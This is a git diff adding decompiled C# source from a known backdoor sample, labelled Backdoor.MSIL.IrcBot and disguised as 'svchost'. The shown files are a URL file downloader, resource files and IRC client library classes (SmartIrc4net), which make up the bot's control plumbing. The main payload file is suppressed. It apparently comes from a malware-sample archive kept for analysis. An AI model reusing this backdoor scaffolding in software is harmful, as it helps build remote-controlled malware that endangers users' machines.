|
public DownloadEventArgs(string state) => this.downloadState = state;
|
||||||
|
|
||||||
|
public DownloadEventArgs(int percentDone, string state)
|
||||||
|
{
|
||||||
|
this.percentDone = percentDone;
|
||||||
|
this.downloadState = state;
|
||||||
|
}
|
||||||
|
|
||||||
|
public int PercentDone => this.percentDone;
|
||||||
|
|
||||||
|
public string DownloadState => this.downloadState;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.DownloadProgressHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace GoldTrojan
|
||||||
|
{
|
||||||
|
public delegate void DownloadProgressHandler(object sender, DownloadEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,184 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.FileDownloader
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Net;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace GoldTrojan
|
||||||
|
{
|
||||||
|
public class FileDownloader
|
||||||
|
{
|
||||||
|
private const int downloadBlockSize = 1024;
|
||||||
|
private bool canceled;
|
||||||
|
private string downloadingTo;
|
||||||
|
private IWebProxy proxy;
|
||||||
|
|
||||||
|
public string DownloadingTo => this.downloadingTo;
|
||||||
|
|
||||||
|
public void Cancel() => this.canceled = true;
|
||||||
|
|
||||||
|
public event DownloadProgressHandler ProgressChanged;
|
||||||
|
|
||||||
|
public IWebProxy Proxy
|
||||||
|
{
|
||||||
|
get => this.proxy;
|
||||||
|
set => this.proxy = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
public event EventHandler DownloadComplete;
|
||||||
|
|
||||||
|
private void OnDownloadComplete()
|
||||||
|
{
|
||||||
|
if (this.DownloadComplete == null)
|
||||||
|
return;
|
||||||
|
this.DownloadComplete((object) this, new EventArgs());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Download(string url) => this.Download(url, "");
|
||||||
|
|
||||||
|
public void Download(string url, string destFolder)
|
||||||
|
{
|
||||||
|
DownloadData downloadData = (DownloadData) null;
|
||||||
|
this.canceled = false;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
downloadData = DownloadData.Create(url, destFolder, this.proxy);
|
||||||
|
string fileName = Path.GetFileName(downloadData.Response.ResponseUri.ToString());
|
||||||
|
destFolder = destFolder.Replace("file:///", "").Replace("file://", "");
|
||||||
|
this.downloadingTo = Path.Combine(destFolder, fileName);
|
||||||
|
if (!System.IO.File.Exists(this.downloadingTo))
|
||||||
|
System.IO.File.Create(this.downloadingTo).Close();
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
long startPoint = downloadData.StartPoint;
|
||||||
|
bool flag = false;
|
||||||
|
int count;
|
||||||
|
while ((count = downloadData.DownloadStream.Read(buffer, 0, 1024)) > 0)
|
||||||
|
{
|
||||||
|
if (this.canceled)
|
||||||
|
{
|
||||||
|
flag = true;
|
||||||
|
downloadData.Close();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
startPoint += (long) count;
|
||||||
|
this.SaveToFile(buffer, count, this.downloadingTo);
|
||||||
|
if (downloadData.IsProgressKnown)
|
||||||
|
this.RaiseProgressChanged(startPoint, downloadData.FileSize);
|
||||||
|
if (this.canceled)
|
||||||
|
{
|
||||||
|
flag = true;
|
||||||
|
downloadData.Close();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (flag)
|
||||||
|
return;
|
||||||
|
this.OnDownloadComplete();
|
||||||
|
}
|
||||||
|
catch (UriFormatException ex)
|
||||||
|
{
|
||||||
|
throw new ArgumentException(string.Format("Could not parse the URL \"{0}\" - it's either malformed or is an unknown protocol.", (object) url), (Exception) ex);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
downloadData?.Close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Download(List<string> urlList) => this.Download(urlList, "");
|
||||||
|
|
||||||
|
public void Download(List<string> urlList, string destFolder)
|
||||||
|
{
|
||||||
|
if (urlList == null)
|
||||||
|
throw new ArgumentException("Url list not specified.");
|
||||||
|
if (urlList.Count == 0)
|
||||||
|
throw new ArgumentException("Url list empty.");
|
||||||
|
Exception exception = (Exception) null;
|
||||||
|
foreach (string url in urlList)
|
||||||
|
{
|
||||||
|
exception = (Exception) null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
this.Download(url, destFolder);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
exception = ex;
|
||||||
|
}
|
||||||
|
if (exception == null)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (exception != null)
|
||||||
|
throw exception;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void AsyncDownload(string url) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
|
||||||
|
{
|
||||||
|
url,
|
||||||
|
""
|
||||||
|
});
|
||||||
|
|
||||||
|
public void AsyncDownload(string url, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new string[2]
|
||||||
|
{
|
||||||
|
url,
|
||||||
|
destFolder
|
||||||
|
});
|
||||||
|
|
||||||
|
public void AsyncDownload(List<string> urlList, string destFolder) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
|
||||||
|
{
|
||||||
|
(object) urlList,
|
||||||
|
(object) destFolder
|
||||||
|
});
|
||||||
|
|
||||||
|
public void AsyncDownload(List<string> urlList) => ThreadPool.QueueUserWorkItem(new WaitCallback(this.WaitCallbackMethod), (object) new object[2]
|
||||||
|
{
|
||||||
|
(object) urlList,
|
||||||
|
(object) ""
|
||||||
|
});
|
||||||
|
|
||||||
|
private void WaitCallbackMethod(object data)
|
||||||
|
{
|
||||||
|
if (data is string[])
|
||||||
|
{
|
||||||
|
string[] strArray = data as string[];
|
||||||
|
this.Download(strArray[0], strArray[1]);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
object[] objArray = data as object[];
|
||||||
|
this.Download(objArray[0] as List<string>, objArray[1] as string);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void SaveToFile(byte[] buffer, int count, string fileName)
|
||||||
|
{
|
||||||
|
FileStream fileStream = (FileStream) null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
fileStream = System.IO.File.Open(fileName, FileMode.Append, FileAccess.Write);
|
||||||
|
fileStream.Write(buffer, 0, count);
|
||||||
|
}
|
||||||
|
catch (ArgumentException ex)
|
||||||
|
{
|
||||||
|
throw new ArgumentException(string.Format("Error trying to save file \"{0}\": {1}", (object) fileName, (object) ex.Message), (Exception) ex);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
fileStream?.Close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RaiseProgressChanged(long current, long target)
|
||||||
|
{
|
||||||
|
if (this.ProgressChanged == null)
|
||||||
|
return;
|
||||||
|
this.ProgressChanged((object) this, new DownloadEventArgs(target, current));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,120 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
</root>
|
@ -0,0 +1,22 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.Program
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace GoldTrojan
|
||||||
|
{
|
||||||
|
internal static class Program
|
||||||
|
{
|
||||||
|
[STAThread]
|
||||||
|
private static void Main()
|
||||||
|
{
|
||||||
|
Application.EnableVisualStyles();
|
||||||
|
Application.SetCompatibleTextRenderingDefault(false);
|
||||||
|
Application.Run((Form) new Form1());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,46 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.Properties.Resources
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System.CodeDom.Compiler;
|
||||||
|
using System.ComponentModel;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Globalization;
|
||||||
|
using System.Resources;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
|
||||||
|
namespace GoldTrojan.Properties
|
||||||
|
{
|
||||||
|
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||||
|
[CompilerGenerated]
|
||||||
|
[DebuggerNonUserCode]
|
||||||
|
internal class Resources
|
||||||
|
{
|
||||||
|
private static ResourceManager resourceMan;
|
||||||
|
private static CultureInfo resourceCulture;
|
||||||
|
|
||||||
|
internal Resources()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||||
|
internal static ResourceManager ResourceManager
|
||||||
|
{
|
||||||
|
get
|
||||||
|
{
|
||||||
|
if (GoldTrojan.Properties.Resources.resourceMan == null)
|
||||||
|
GoldTrojan.Properties.Resources.resourceMan = new ResourceManager("GoldTrojan.Properties.Resources", typeof (GoldTrojan.Properties.Resources).Assembly);
|
||||||
|
return GoldTrojan.Properties.Resources.resourceMan;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||||
|
internal static CultureInfo Culture
|
||||||
|
{
|
||||||
|
get => GoldTrojan.Properties.Resources.resourceCulture;
|
||||||
|
set => GoldTrojan.Properties.Resources.resourceCulture = value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,120 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<root>
|
||||||
|
<!--
|
||||||
|
Microsoft ResX Schema
|
||||||
|
|
||||||
|
Version 2.0
|
||||||
|
|
||||||
|
The primary goals of this format is to allow a simple XML format
|
||||||
|
that is mostly human readable. The generation and parsing of the
|
||||||
|
various data types are done through the TypeConverter classes
|
||||||
|
associated with the data types.
|
||||||
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
... ado.net/XML headers & schema ...
|
||||||
|
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||||
|
<resheader name="version">2.0</resheader>
|
||||||
|
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||||
|
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||||
|
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||||
|
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||||
|
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||||
|
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||||
|
</data>
|
||||||
|
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
|
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||||
|
<comment>This is a comment</comment>
|
||||||
|
</data>
|
||||||
|
|
||||||
|
There are any number of "resheader" rows that contain simple
|
||||||
|
name/value pairs.
|
||||||
|
|
||||||
|
Each data row contains a name, and value. The row also contains a
|
||||||
|
type or mimetype. Type corresponds to a .NET class that support
|
||||||
|
text/value conversion through the TypeConverter architecture.
|
||||||
|
Classes that don't support this are serialized and stored with the
|
||||||
|
mimetype set.
|
||||||
|
|
||||||
|
The mimetype is used for serialized objects, and tells the
|
||||||
|
ResXResourceReader how to depersist the object. This is currently not
|
||||||
|
extensible. For a given mimetype the value must be set accordingly:
|
||||||
|
|
||||||
|
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||||
|
that the ResXResourceWriter will generate, however the reader can
|
||||||
|
read any of the formats listed below.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.binary.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.soap.base64
|
||||||
|
value : The object must be serialized with
|
||||||
|
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
|
||||||
|
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||||
|
value : The object must be serialized into a byte array
|
||||||
|
: using a System.ComponentModel.TypeConverter
|
||||||
|
: and then encoded with base64 encoding.
|
||||||
|
-->
|
||||||
|
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||||
|
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||||
|
<xsd:element name="root" msdata:IsDataSet="true">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:choice maxOccurs="unbounded">
|
||||||
|
<xsd:element name="metadata">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="assembly">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:attribute name="alias" type="xsd:string" />
|
||||||
|
<xsd:attribute name="name" type="xsd:string" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="data">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||||
|
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||||
|
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||||
|
<xsd:attribute ref="xml:space" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
<xsd:element name="resheader">
|
||||||
|
<xsd:complexType>
|
||||||
|
<xsd:sequence>
|
||||||
|
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||||
|
</xsd:sequence>
|
||||||
|
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:choice>
|
||||||
|
</xsd:complexType>
|
||||||
|
</xsd:element>
|
||||||
|
</xsd:schema>
|
||||||
|
<resheader name="resmimetype">
|
||||||
|
<value>text/microsoft-resx</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="version">
|
||||||
|
<value>2.0</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="reader">
|
||||||
|
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
<resheader name="writer">
|
||||||
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
|
</resheader>
|
||||||
|
</root>
|
@ -0,0 +1,21 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: GoldTrojan.Properties.Settings
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System.CodeDom.Compiler;
|
||||||
|
using System.Configuration;
|
||||||
|
using System.Runtime.CompilerServices;
|
||||||
|
|
||||||
|
namespace GoldTrojan.Properties
|
||||||
|
{
|
||||||
|
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||||
|
[CompilerGenerated]
|
||||||
|
internal sealed class Settings : ApplicationSettingsBase
|
||||||
|
{
|
||||||
|
private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
|
||||||
|
|
||||||
|
public static Settings Default => Settings.defaultInstance;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,21 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ActionEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class ActionEventArgs : CtcpEventArgs
|
||||||
|
{
|
||||||
|
private string _ActionMessage;
|
||||||
|
|
||||||
|
public string ActionMessage => this._ActionMessage;
|
||||||
|
|
||||||
|
internal ActionEventArgs(IrcMessageData data, string actionmsg)
|
||||||
|
: base(data, "ACTION", actionmsg)
|
||||||
|
{
|
||||||
|
this._ActionMessage = actionmsg;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.ActionEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public delegate void ActionEventHandler(object sender, ActionEventArgs e);
|
||||||
|
}
|
@ -0,0 +1,34 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.AlreadyConnectedException
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
using System.Runtime.Serialization;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
[Serializable]
|
||||||
|
public class AlreadyConnectedException : ConnectionException
|
||||||
|
{
|
||||||
|
public AlreadyConnectedException()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public AlreadyConnectedException(string message)
|
||||||
|
: base(message)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public AlreadyConnectedException(string message, Exception e)
|
||||||
|
: base(message, e)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
protected AlreadyConnectedException(SerializationInfo info, StreamingContext context)
|
||||||
|
: base(info, context)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,30 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.AutoConnectErrorEventArgs
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
using System;
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
public class AutoConnectErrorEventArgs : EventArgs
|
||||||
|
{
|
||||||
|
private Exception _Exception;
|
||||||
|
private string _Address;
|
||||||
|
private int _Port;
|
||||||
|
|
||||||
|
public Exception Exception => this._Exception;
|
||||||
|
|
||||||
|
public string Address => this._Address;
|
||||||
|
|
||||||
|
public int Port => this._Port;
|
||||||
|
|
||||||
|
internal AutoConnectErrorEventArgs(string address, int port, Exception ex)
|
||||||
|
{
|
||||||
|
this._Address = address;
|
||||||
|
this._Port = port;
|
||||||
|
this._Exception = ex;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,10 @@
|
|||||||
|
// Decompiled with JetBrains decompiler
|
||||||
|
// Type: Meebey.SmartIrc4net.AutoConnectErrorEventHandler
|
||||||
|
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
|
||||||
|
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
|
||||||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
|
||||||
|
|
||||||
|
namespace Meebey.SmartIrc4net
|
||||||
|
{
|
||||||
|
